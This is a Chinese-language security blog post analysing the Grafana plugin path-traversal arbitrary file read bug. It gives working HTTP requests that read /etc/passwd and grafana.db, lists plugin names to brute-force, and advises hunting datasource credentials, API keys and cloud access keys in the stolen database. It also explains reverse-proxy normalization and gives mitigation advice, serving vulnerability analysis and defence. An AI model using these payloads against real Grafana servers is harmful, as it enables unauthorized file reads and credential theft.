A-A+

grafana最新任意文件读取分析以及衍生问题解释

2021年12月07日 22:19 汪洋大海 暂无评论 共2734字 (阅读594 views次)

0x00 grafana最新任意文件读取 前言

早上看到chybeta发群里这漏洞的推特截图,隐隐约约记得我们也在用,不过我也没咋在意,直到chybeta和p🐂秒秒钟复现压力来到了我这边。我十分无助的硬着头皮打开github看grafana的最新版本代码,结果花了一中午,终于在吃了个猪肘饭后分析好了。(唉想上吊了)

下面就大概讲讲我是如何以一个不懂GO基础语法的角度来复现该漏洞的。另外后面会解释一下一些其他实际中遇到的情况。

0x01 grafana 任意文件读取 分析与复现

我们可以借助历史漏洞的思路来简单分析一下

图片

看到这个经典漏洞是先从api.go文件入手,那么我们也从这个入手 这边可以通过github的在线vscode直接审计,比如

图片

我们打开api.go

图片

看到很多路由,第二个参数看起来是需不需要验证。当然我们也能看到一些只有两个参数的,猜测两个参数的是默认不需要验证。那么既然是未授权读取文件,首先先找未授权接口:

图片

通过名字就能判断功能,看两个参数还是三个参数就能知道授权不授权,粗略的看一下找一找未授权可能需要读取文件的功能接口。看看哪个函数里看着像读取文件的,比如有什么filepath什么的参数,通过这种方式快速过一下,大概就能找到了。比如这个plugins

图片

进入getpluginassets里看看,

图片

具体过程看上图即可,你看这个plugins就挺像的( 那么payload就很显然了,我们找到一个默认存在或者大概率存在的plugin比如grafana-clock-panel、prometheus等,我在复现的时候用的welcome

GET /public/plugins/welcome/../../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3000
Connection: close

图片

0x02 探测插件

因为插件本身可能会因为环境不同而不同,那么有几种思路

字典爆破

收集全部插件列表直接进行爆破请求确保百分百命中,可以直接去官方进行抓取字典(https://grafana.com/grafana/plugins/) 当然群友也收集了一些热门的作为字典
alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timeline
text

页面抓取

这个思路也是群友提供的,在登录页面上的js里可以探测到一些插件信息,只要用其中的一个插件名称来做字典就行了。也就是说可以按如下步骤进行:

  1. 请求登录页面
  2. 抓取登录页面的js里的插件名称
  3. 组合成url进行请求

图片

比如上图的welcome插件和timeseries插件名称都有了,这些在登录页面就能获取到

0x03 400错误

关于400错误是很多人都遇见到的。这个错误主要出现在存在中间件反向代理的场景下,很多人不理解为什么自己复现不了,其实根本原因在于nginx或者apache这些常见反向代理中间件会对url进行normalize的操作,简单来说就是会在转发前将'../'这些去掉,而当去掉后的路径超出web根目录的限制就会直接返回400错误而不会把请求转发到grafana,因此就会导致复现失败。下面给出normalize的大致逻辑: nginx 主要参考文章(https://www.codenong.com/cs110392483/)

  1. 替换''为'/',并且判断如果存在空字符,则直接返回false ,也就是之后的400
  2. 替换'//' 为 '/'
  3. 对结尾的'/.' 和'/…' 加上'/'
  4. 去除'./'
  5. 然后处理'…/', 并且检查如果处理完后开头是'…/'的话就返回false,这也防止了路径穿越

apache 这个我之前分析过就直接抄自己的了

  1. 判断url第一个字符是不是'/',只有option * http/1.1这种的可以接受,其他返回400错误
  2. 判断url编码是否符合规范,不规范的返回400错误
  3. 将所有的'//////'变成'/'
  4. 去除'/./',如果存在'/../'或者'/.%2e/'则进行跳跃目录但是不能跨越web根目录,如果跨越返回400 另外补上url解码的一些特点
  5. 判断是否存在'%2f'即解码后是不是'/',如果是就返回404
  6. 判断是否存在'%00'即解码后是不是'\0',如果是就返回404

上面两个大家不仅会在复现这个的时候出现,复现其他任何东西的时候只要url路径(不包括参数)里满足都会遇到。

0x04 扩大利用

读/etc/passwd只能算测试,要想利用的话目前比较有实际情况的就是读取db文件。比如:

GET /public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db HTTP/1.1
Host: localhost:3000
Connection: close

图片

读取db很多人第一想法是读取登录账号密码,确实可以读,但是解密很困难,有salt和random的hash,基本上可以放弃,那么还能读什么呢?有几个可以关注一下

  1. datasource的配置,什么mysql、es等乱七八糟的
  2. apikey,这个可能还需要自行找一下相关算法,构造出apikey后就可以操纵grafana了
  3. 其他的东西比如水总有翻到一些云的ak等这样就可以控制云主机了

0x05 修复建议

今天的grafana因为没有官方补丁,因此最好的临时修复方案是套上一层nginx或者apache作为反向代理,因为高版本中间件均会对路径做normalize操作,路径超出web根目录就会爆400错误,因此请求就到不了grafana了。当然有waf的也可以使用waf规则,这些都是可以的,waf的话注意被bypass的问题。

 

文章来源:https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言